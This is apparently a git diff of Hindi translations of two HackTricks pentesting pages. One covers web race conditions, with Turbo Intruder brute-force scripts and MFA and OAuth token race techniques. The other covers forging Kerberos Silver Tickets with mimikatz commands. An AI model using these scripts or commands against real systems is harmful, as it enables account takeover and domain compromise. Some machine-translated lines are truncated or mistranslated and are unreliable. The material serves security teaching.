वेब सर्वर अक्सर अगर बहुत तेजी से बहुत सारे अनुरोध भेजे जाते हैं तो अनुरोधों की प्रसंस्करण को देरी करते हैं। एक बड़ी संख्या में डमी अनुरोधों को भेजकर रेट या संसाधन सीमा को चेतावनीत करने के लिए, आप संगत सर्वर-साइड देरी का कारण बना सकते हैं। इससे एकल-पैकेट हमला संभव होता है, जब देरी के निष्पादन की आवश्यकता होती है।
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -63,7 +63,7 @@ Turbo Intruder का उपयोग करके, आप एक छोटी
#### हमला उदाहरण
* **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: आप अनुरोध को **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`) को भेज सकते हैं, आप अनुरोध में जिस मान को ब्रूट फोर्स करना चाहते हैं उसे **`%s`** की तरह बदल सकते हैं, जैसे `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` और फिर ड्रॉप डाउन से **`examples/race-single-packer-attack.py`** का चयन करें:
* **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: आप **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`) को अनुरोध भेज सकते हैं, आप अनुरोध में जिस मान को ब्रूट फोर्स करना चाहते हैं उसे **`%s`** की तरह बदल सकते हैं, जैसे `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` और फिर ड्रॉप डाउन से **`examples/race-single-packer-attack.py`** का चयन करें:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -74,7 +74,7 @@ for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
यदि वेब HTTP2 का समर्थन नहीं करत है (केवल HTTP1.1), तो `Engine.BURP2` की बजाय `Engine.THREADED` या `Engine.BURP` का उपयोग करें।
यदि वेब HTTP2 का समर्थन नहीं करत है (केवल HTTP1.1), तो `Engine.BURP2` की बजाय `Engine.THREADED` या `Engine.BURP` का उपयोग करें।
{% endhint %}
* **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: यदि आपको RCE को ट्रिगर करने के लिए 1 एंडपॉइंट पर एक अनुरोध भेजने की आवश्यकता हो और फिर अन्य एंडपॉइंट पर कई अनुरोध भेजने की आवश्यकता हो, तो आप `race-single-packet-attack.py` स्क्रिप्ट को निम्नलिखित तरह से बदल सकते हैं:
@ -108,21 +108,21 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* यह भी **Repeater** में उपलब्ध है बर्प स्वीट के नए '**समूह को पैरलेल में भेजें**' विकल्प के माध्यम से।
* यह भी **रिपीटर** में उपलब्ध है बर्प स्वीट के नए '**समूह को पैरलेल में भेजें**' विकल्प के माध्यम से।
* **लिमिट-ओवरन** के लिए आप सिर्फ **समूह में समान अनुरोध को 50 बार जोड़ सकते हैं**
* **कनेक्शन वार्मिंग** के लिए, आप **वेब सर्वर के कुछ गैर स्थिर भाग के लिए समूह की शुरुआत में कुछ अनुरोध जोड़ सकते हैं**
* **देरी करने** के लिए, एक 2 उप-अवस्था चरण में **एक अनुरोध और दूसरे के बीच प्रोसेसिंग के बीच अतिरिक्त अनुरोध जोड़ सकते हैं**।
* **मल्टी-एंडपॉइंट** आरसी के लिए, आप **छिपे हुए स्थिति को जाने वाले अनुरोध** को भेजना शुरू कर सकते हैं और फिर इसके बाद **50 अनुरोध** जो छिपे हुए स्थिति का उपयोग करते हैं, भेज सकते हैं।
* **कनेक्शन वार्मिंग** के लिए, आप **समूह की शुरुआत में** वेब सर्वर के कुछ गैर स्थिर हिस्से के कुछ अनुरोधों को जोड़ सकते हैं
* **देरी करने** के लिए प्रक्रिया **एक अनुरोध और दूसरे के बीच** को प्रोसेस करने के बीच, आप दोनों अनुरोधों के बीच **अतिरिक्त अनुरोध जोड़ सकते हैं**।
* **मल्टी-एंडपॉइंट** आरसी के लिए आप छिपे हुए स्थिति को जाने वाले **अनुरोध** को भेजना शुरू कर सकते हैं और फिर इसके बाद **50 अनुरोध** जो छिपे हुए स्थिति का उपयोग करते हैं।
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Raw BF
### रॉ बीएफ
पिछले शोध से पहले ये कुछ पेलोड्स थे जो सिर्फ एक रेस कंडीशन को उत्पन्न करने के लिए पैकेट्स को जितनी तेजी से हो सके भेजने का प्रयास करते थे।
* **Repeater:** पिछले खंड से उदाहरण देखें।
* **Intruder**: **Intruder** को अनुरोध भेजें, **विकल्प** मेनू में **स्थानीय धागों की संख्या** को **30** सेट करें और, पेलोड के रूप में **Null payloads** का चयन करें और **30** उत्पन्न करें।
* **Turbo Intruder**
* **रिपीटर:** पिछले खंड से उदाहरण देखें।
* **इंट्रूडर:** **इंट्रूडर** को **अनुरोध** भेजें, **विकल्प मेनू** में **स्थानों की संख्या** को **30** सेट करें, और **पेलोड** के रूप में **नल पेलोड** का चयन करें और **30** उत्पन्न करें।
* **टर्बो इंट्रूडर**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -173,7 +173,7 @@ asyncio.run(main())
### Limit-overrun / TOCTOU
यह सबसे मूलभूत प्रकार की रेस कंडीशन है जहां **कम संख्या में कार्रवाई करने की सीमा रखने वाली संवेदनशीलताएं** होती हैं। जैसे कि वेब स्टोर में कई बार एक ही डिस्काउंट कोड का उपयोग करना। इसका एक आसान उदाहरण [**इस रिपोर्ट**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) या [**इस बग**](https://hackerone.com/reports/759247) में देखा जा सकता है।
यह सबसे मूलभूत प्रकार की रेस कंडीशन है जहां **क्रिया को करने की बार बार सीमा लगाने वाली जगहों में संक्रमितता** होती है। जैसे कि एक वेब स्टोर में कई बार एक ही डिस्काउंट कोड का उपयोग करना। इसका एक बहुत ही सरल उदाहरण [**इस रिपोर्ट**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) या [**इस बग**](https://hackerone.com/reports/759247) में देखा जा सकता है।
इस प्रकार के हमले के कई रूप होते हैं, जिनमें शामिल हैं:
@ -181,40 +181,40 @@ asyncio.run(main())
* एक प्रोडक्ट को कई बार रेट करना
* अपने खाता शेष राशि से अधिक नकदी निकालना या स्थानांतरित करना
* एकल CAPTCHA समाधान का पुनः उपयोग करना
* एक एंटी-ब्रूट-फोर्स दर सीमा को दौड़ना
* एक एंटी-ब्रूट-फोर्स दर सीमा को दौड़ना
### **छिपे हुए उप-अवस्थाएं**
### **छिपी हुई उप-स्थितियाँ**
दूसरे सबसे जटिल RC में, हमलावर को उसके पहुंच के लिए कभी नहीं थे अवस्थाओं का शोषण करने की अनुमति देने वाले मशीन की अवस्था में **उप-अवस्थाओं का शोषण** किया जा सकता है। लेकिन इसके लिए हमलावर को इसे एक **छोटी समय-खिड़की** होती है जिसमें वह पहुंच सकता है।
अन्य सबसे जटिल RC में हमलावर **मशीन स्थिति में उप-स्थितियों का शोषण** किया जाएगा जिससे हमलावर को पहुंच हो सकती है जिसकी उसे पहुंच होने की कोई योजना नहीं थी, लेकिन हमलावर को उस तक पहुंचने का एक **छोटा समय-खिड़की** होता है।
1. **छिपे हुए और दिलचस्प उप-अवस्थाओं की संभावित पहचान करें**
1. **छिपी हुई और दिलचस्प उप-स्थितियों की संभावना का अनुमान लगाएं**
पहला कदम है सभी एंडपॉइंट्स की पहचान करना जो इसे लिखते हैं, या उससे डेटा पढ़ते हैं और फिर उस डेटा का कुछ महत्वपूर्ण काम के लिए उपयोग करते हैं। उदाहरण के लिए, उपयोगकर्ताओं को डेटाबेस टेबल में संग्रहीत किया जा सकता है जिसे पंजीकरण, प्रोफ़ाइल-संपादन, पासवर्ड रीसेट प्रारंभ और पासवर्ड रीसेट पूर्ण करने से संशोधित किया जाता है।
पहला कदम है कि सभी एंडपॉइंट्स की पहचान करें जो इसे लिखते हैं, या उससे डेटा पढ़ते हैं और फिर उस डेटा का कुछ महत्वपूर्ण काम करते हैं। उदाहरण के लिए, उपयोगकर्ता डेटाबेस टेबल में संग्रहीत हो सकते हैं जिन्हें पंजीकरण, प्रोफ़ाइल-संपादन, पासवर्ड रीसेट प्रारंभ करने और पासवर्ड रीसेट पूरा करने द्वारा संशोधित किया जा सकता है।
हम तीन मुख्य प्रश्नों का उपयोग कर सकते हैं ताकि संभावित होने वाले टकराव का कारण नहीं हो सके। प्रत्येक ऑब्जेक्ट और संबंधित एंडपॉइंट्स के लिए पूछें:
हम तीन मुख्य प्रश्नों का उपयोग कर सकते हैं ताकि संभावित टकराव का कारण नहीं होने वाले एंडपॉइंट्स को बाहर किया जा सके। प्रत्येक ऑब्जेक्ट और संबंधित एंडपॉइंट्स के लिए पूछें:
* **अवस्था कैसे संग्रहीत होती है?**
* **स्थिति कैसे संग्रहीत होती है?**
स्थायी सर्वर-साइड डेटा संरचना में संग्रहीत डेटा इसके उपयोग के लिए आदर्श है। कुछ एंडपॉइंट्स अपनी अवस्था को पूरी तरह से क्लाइंट-साइड में संग्रहीत करते हैं, जैसे कि एक ईमेल भेजकर काम करने वाले पासवर्ड रीसेट - इन्हें सुरक्षित रूप से छोड़ा जा सकता है।
स्थायी सर्वर-साइड डेटा संरचना में संग्रहीत डेटा उत्कृष्ट है। कुछ एंडपॉइंट्स अपनी स्थिति को पूरी तरह से क्लाइंट-साइड में संग्रहीत करते हैं, जैसे कि एक जेडबीटी द्वारा काम करने वाले पासवर्ड रीसेट - इन्हें सुरक्षित रूप से छोड़ा जा सकता है।
अनुप्रयोगों में अक्सर कुछ अवस्था उपयोगकर्ता सत्र में संग्रहीत करते हैं। इन्हें अवस्थाओं के खिलाफ संरक्षित किया जाता है - इस पर बाद में अधिक जानकारी होगी।
अनुप्रयोगों में अक्सर कुछ स्थिति उपयोगकर्ता सत्र में संग्रहीत करते हैं। इन्हें अक्सर उप-स्थितियों के खिलाफ संरक्षित किया जाता है - इस पर बाद में अधिक जानकारी होगी।
* **क्या हम संपादन या जोड़ने का कार्य कर रहे हैं?**
मौजूदा डेटा को संपादित करने वाले कार्रवाई (जैसे कि खाता का प्राथमिक ईमेल पता बदलना) के पास पर्याप्त टकराव की संभावना होती है, जबकि मौजूदा डेटा में सिर्फ जोड़ने के लिए कार्रवाई (जैसे कि एक अतिरिक्त ईमेल पता जोड़ना) की संभावना केवल सीमित होती है, और इससे अधिक कुछ के अलावा किसी भी टकराव की संभावना नहीं होती है
मौजूदा डेटा को संपादित करने वाले कार्यों (जैसे कि खाता का प्राथमिक ईमेल पता बदलना) में पर्याप्त टकराव की संभावना होती है, जबकि मौजूदा डेटा में सिर्फ जोड़ने के कार्यों (जैसे कि एक अतिरिक्त ईमेल पता जोड़ना) को केवल सीमित होने की संभावना होती है, अन्य किसी चीज़ के अलावा
* **ऑपरेशन किस पर की जाती है?**
अधिकांश एंडपॉइंट्स एक विशेष रिकॉर्ड पर कार्रवाई करते हैं, जिसे एक 'कुंजी' का उपयोग करके खोजा जाता है, जैसे उपयोगकर्ता नाम, पासवर्ड रीसेट टोकन या फ़ाइलनाम। सफल हमले के लिए, हमें दो ऑपरेशन चाहिए जो एक ही कुंजी का उपयोग करते हैं। उदाहरण के लिए, दो संभावित पासवर्ड रीसेट अमलों की कल्पना करें:
अधिकांश एंडपॉइंट्स एक विशेष रिकॉर्ड पर कार् करते हैं, जिसे एक 'कुंजी' का उपयोग करके खोजा जाता है, जैसे उपयोगकर्ता नाम, पासवर्ड रीसेट टोकन या फ़ाइल नाम। सफल हमले के लिए, हमें दो ऑपरेशन चाहिए जो एक ही कुंजी का उपयोग करते हैं। उदाहरण के लिए, दो संभावित पासवर्ड रीसेट के अमलियों की तस्वीर करें:
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2. **संकेतों के लिए प्रोब करें**
इस बिंदु पर यह समय है क
### 2FA को बाइपास करें
इस बिंदु पर यह समय है कि पोटेंशियल दिलचस्प एंडपॉइंट्स पर कुछ RC हमल
### 2FA को छोड़ें
निम्नलिखित प्सेडो-कोड दिखाता है कि एक वेबसाइट कैसे इस हमले के रेस संस्करण के प्रति संवेदनशील हो सकती है:
निम्नलिखित प्सेडो-कोड दिखाता है कि एक वेबसाइट कैसे इस हमले के एक रेस संस्करण के प्रति संवेदनशील हो सकती है:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -222,24 +222,24 @@ session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
जैसा कि आप देख सकते हैं, यह वास्तव में एक **एकल अनुरोध के दौरान कई चरणों का अनुक्रम** है। सबसे महत्वपूर्ण बात यह है कि इसमें एक उप-स्थिति के माध्यम से यूजर के पास एक मान्य लॉग-इन सत्र होता है, **लेकिन MFA अभी लागू नहीं हो रहा है**। किसी हमलावर्धी व्यक्ति द्वारा इसका उपयोग करके एक लॉगिन अनुरोध भेजकर संवेदनशील, प्रमाणित अंत बिंदु के साथ एक अनुरोध को भी भेजा जा सकता है।
जैसा कि आप देख सकते हैं, यह वास्तव में एक **एकल अनुरोध के दौरान कई चरणों का अनुक्रम** है। सबसे महत्वपूर्ण बात यह है कि इसमें एक उप-स्थिति के माध्यम से यूजर के पास एक मान्य लॉग-इन सत्र होता है, **लेकिन MFA अभी लागू नहीं हो रहा है**। किसी हमलावर्धी व्यक्ति द्वारा इसका उपयोग करके लॉगिन अनुरोध भेजकर संवेदनशील, प्रमाणित अंतर्निहित अंत बिंदु के साथ एक अनुरोध को भेजकर इसे उत्पन्न किया जा सकता है।
### OAuth2 अविनाशी टिकाकरण
कई [**OAUth प्रदाताओं**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) हैं। ये सेवाएं आपको एक प्लिकेशन बनाने और प्रदाता द्वारा पंजीकृत उपयोगकर्ताओं को प्रमाणित करने की अनुमति देंगी। इसके लिए, **क्लाइंट** को अपने डेटा के कुछ हिस्से तक पहुंच करने की अनुमति देने के लिए **आपके एप्लिकेशन की अनुमति** की आवश्यकता होगी।\
तो, अब तक यहां तक कि बस एक सामान्य लॉगिन है जिसमें आपको एक पेज के साथ प्रोम्प्ट किया जाता है: "_एप्लिकेशन \<InsertCoolName> आपकी जानकारी तक पहुंचना चाहता है, क्या आप इसे अनुमति देना चाहेंगे?_"
कई [**OAUth प्रदाताओं**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) हैं। ये सेवाएं आपको एक प्लिकेशन बनाने और प्रदाता द्वारा पंजीकृत उपयोगकर्ताओं को प्रमाणित करने की अनुमति देंगी। इसके लिए, **क्लाइंट** को अपने डेटा के कुछ हिस्से तक पहुंच करने की अनुमति देने के लिए **आपकी ऐप्लिकेशन की अनुमति देनी होगी**।\
तो, यहां तक कि यहां तक कि आपको एक सामान्य लॉगिन के साथ गूगल / लिंक्डइन / गिटहब ... जहां आपको एक पृष्ठ के साथ प्रदान किया जाता है: "_ऐप्लिकेशन \<InsertCoolName> आपकी जानकारी तक पहुंचना चाहता है, क्या आप इसे अनुमति देना चाह हैं?_"
#### `authorization_code` में रेस कंडीशन
समस्या उत्पन्न होती है जब आप इसे **स्वीकार करते हैं** और स्वचालित रूप से एक **`authorization_code`** को दुष्प्रभावी एप्लिकेशन को भेजते हैं। फिर, यह **एप्लिकेशन OAUth सेवा प्रदाता में रेस कंडीशन का दुरुपयोग करता है ताकि आपके खाते के लिए `authorization_code` से एक से अधिक AT/RT** (_प्रमाणीकरण टोकन/ताजगी टोकन_) उत्पन्न कर सके। मूल रूप से, यह इस बात का दुरुपयोग करेगा कि आपने प्लिकेशन को अपने डेटा तक पहुंचने की अनुमति दी है ताकि **कई खाते बना सकें**। फिर, यदि आप **प्लिकेशन को अपने डेटा तक पहुंचने की अनुमति देना बंद कर देते हैं तो एक पेयर AT/RT हटा दिया जाएगा, लेकिन अन्य वाले अभी भी मान्य रहेंगे**।
**समस्या** उत्पन्न होती है जब आप इसे **स्वीकार करते हैं** और स्वचालित रूप से एक **`authorization_code`** को दुष्प्रभावी ऐप्लिकेशन को भेजता है। फिर, यह **ऐप्लिकेशन OAUth सेवा प्रदाता में रेस कंडीशन का दुरुपयोग करता है ताकि आपके खाते के लिए `authorization_code` से एक से अधिक AT/RT** (_प्रमाणीकरण टोकन / रीफ्रेश टोकन_) उत्पन्न कर सके। मूल रूप से, यह इस बात का दुरुपयोग करेगा कि आपने प्लिकेशन को अपने डेटा तक पहुंचने की अनुमति दी है ताकि **कई खाते बना सकें**। फिर, यदि आप **प्लिकेशन को अपने डेटा तक पहुंचने की अनुमति देना बंद करते हैं तो एक पेयर AT/RT हटा दिया जाएगा, लेकिन अन्य वाले अभी भी मान्य रहेंगे**।
#### `Refresh Token` में रेस कंडीशन
एक बार जब आपने **एक मान्य RT प्राप्त कर लिया है** तो आप कोशिश कर सकते हैं कि इसे दुष्प्रभावी प्लिकेशन के लिए कई AT/RT उत्पन्न करें और **यदि उपयोगकर्ता दुष्प्रभावी एप्लिकेशन को अपने डेटा तक पहुंचने की अनुमति रद्द कर देता है तो कई RT अभी भी मान्य रहेंगे**।
एक बार जब आपने **एक मान्य RT प्राप्त कर लिया है** तो आप कोशिश कर सकते हैं कि इसे दुष्प्रभावी प्लिकेशन के लिए कई AT/RT उत्पन्न करें और **यदि उपयोगकर्ता ऐप्लिकेशन के लिए अनुमतियां रद्द कर देता है तो कई RT अभी भी मान्य रहेंगे**।
## **वेबसॉकेट में RC**
[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) में आपको जावा में वेबसॉकेट संदेशों को **समयानुसार** भेजने के लिए एक PoC मिलेगा जिसका उपयोग **वेबसॉकेट में भी रेस कंडीशन का दुरुपयोग करने के लिए** किया जा सकता है।
[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) में आपको **पैरलेल** में वेबसॉकेट संदेश भेजने के लिए जावा में एक PoC मिलेगा, जिसका उपयोग **वेब सॉकेट में भी रेस कंडीशन का दुरुपयोग करने के लिए** किया जा सकता है।
## संदर्भ
@ -253,7 +253,7 @@ session['enforce_mfa'] = True
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहेंगे? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की इच्छा रखते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाह हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की इच्छा रखते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण** कर
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का

File diff suppressed because one or more lines are too long

View file

@ -2,29 +2,29 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ हैकट्रिक्स क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित करना** चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **ट्विटर** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स को** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके** अपना योगदान दें
* [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल** हों या मुझे **ट्विटर** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके**
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (_अच्छी पोलिश लिखित और बोली जाना चाहिए_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखित और बोली जाना चाहिए_).
{% embed url="https://www.stmcyber.com/careers" %}
## सिल्वर टिकट
सिल्वर टिकट हमला **एक वैध TGS को तैयार करके सेवा के NTLM हैश को स्वामित्व में लेने** पर आधारित है (जैसे **PC खाता हैश**)। इसलिए, किसी भी उपयोगकर्ता के रूप में एक कस्टम TGS को बनाकर **उस सेवा में पहुंच** प्राप्त की जा सकती है
सिल्वर टिकट हमला **सेवा के NTLM हैश के मालिक होने पर एक मान्य TGS को तैयार करने पर आधारित है** (जैसे **पीसी खाता हैश**)। इसलिए, किसी भी उपयोगकर्ता के रूप में एक कस्टम TGS को बनाकर **उस सेवा तक पहुंचा जा सकता है**
इस मामले में, NTLM **कंप्यूटर खाते का हैश** (जो AD में एक प्रकार का उपयोगकर्ता खाता है) **स्वामित्व में है**। इसलिए, SMB सेवा के माध्यम से **उस मशीन में** **व्यवस्थापक** विशेषाधिकारों के साथ प्रवेश प्राप्त करने के लिए एक **टिकट** तैयार किया जा सकता है। कंप्यूटर खाते अपने पासवर्ड को 30 दिनों में रीसेट करते हैं।
इस मामले में, NTLM **कंप्यूटर खाते का हैश** (जो AD में एक प्रकार का उपयोगकर्ता खाता है) **मालिक है**। इसलिए, SMB सेवा के माध्यम से **उस मशीन में व्यवस्थापक** विशेषाधिकारों के साथ प्रवेश प्राप्त करने के लिए एक **टिकट** तैयार किया जा सकता है। कंप्यूटर खाते अपने पासवर्ड को 30 दिनों में रीसेट करते हैं।
इसे ध्यान में रखना चाहिए कि एक AES केरबेरोस कुंजी (AES128 और AES256) का उपयोग करके टिकट तैयार करना संभव और **वांछनीय** (ऑपसेक) है। एक AES कुंजी कैसे उत्पन्न करें जानने के लिए पढ़ें: [धारा 4.4 ऑफ़ MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) या [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)।
इस अलावा यह ध्यान में रखना चाहिए कि एक AES केरबेरोस कुंजी (AES128 और AES256) का उपयोग करके टिकट तैयार करना संभव और **अधिक पसंदनीय** (ऑपसेक) है। एक AES कुंजी कैसे उत्पन्न करें जानने के लिए पढ़ें: [धारा 4.4 ऑफ़ MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) या [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372) को
{% code title="Linux" %}
```bash
@ -51,30 +51,30 @@ kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291
```
{% endcode %}
सीआईएफएस सेवा वह है जिसके माध्यम से आप पीड़ित के फ़ाइल सिस्टम तक पहुंच कते है। आप यहां अन्य सेवाएं भी पा सकते हैं: [https://adsecurity.org/?page\_id=183](https://adsecurity.org/?page\_id=183)। उदाहरण के लिए, आप होस्ट सेवा का उपयोग करके कंप्यूटर में एक schtask बना सकते हैं। फिर आप पीड़ित के कार्यों की सूची देखने के लिए यह जांच सकते हैं: `schtasks /S <hostname>` या आप होस्ट और RPCSS सेवा का उपयोग करके कंप्यूटर में WMI क्वेरी को निष्पादित करने के लिए यह जांच सकते हैं: `Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
**CIFS** सेवा वह है जो आपको पीड़ित की फ़ाइल सिस्टम तक पहुंचनेी अनुमि दती है। आप यहां अन्य सेवाएं भी पा सकते हैं: [**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**।** उदाहरण के लिए, आप **HOST सेवा** का उपयोग करके एक कंप्यूटर में _**schtask**_ बना सकते हैं। फिर आप पीड़ित के कार्यों की सूची देखने के लिए यह जांच सकते हैं: `schtasks /S <hostname>` या आप **HOST और** **RPCSS सेवा** का उपयोग करके एक कंप्यूटर में **WMI** क्वेरी को निष्पादित कर सकते हैं, इसे टेस्ट करें: `Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
### समाधान
### सुरक्षा उपाय
Silver ticket इवेंट आईडी (golden ticket से अधिक छिपकली जैसा):
Silver ticket इवेंट आईडी (golden ticket से अधिक छिपकली):
* 4624: खाता लॉगऑन
* 4634: खाता लॉगऑफ
* 4672: व्यवस्थापक लॉगऑन
[**Silver Tickets के बारे में अधिक जानकारी ired.team में**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
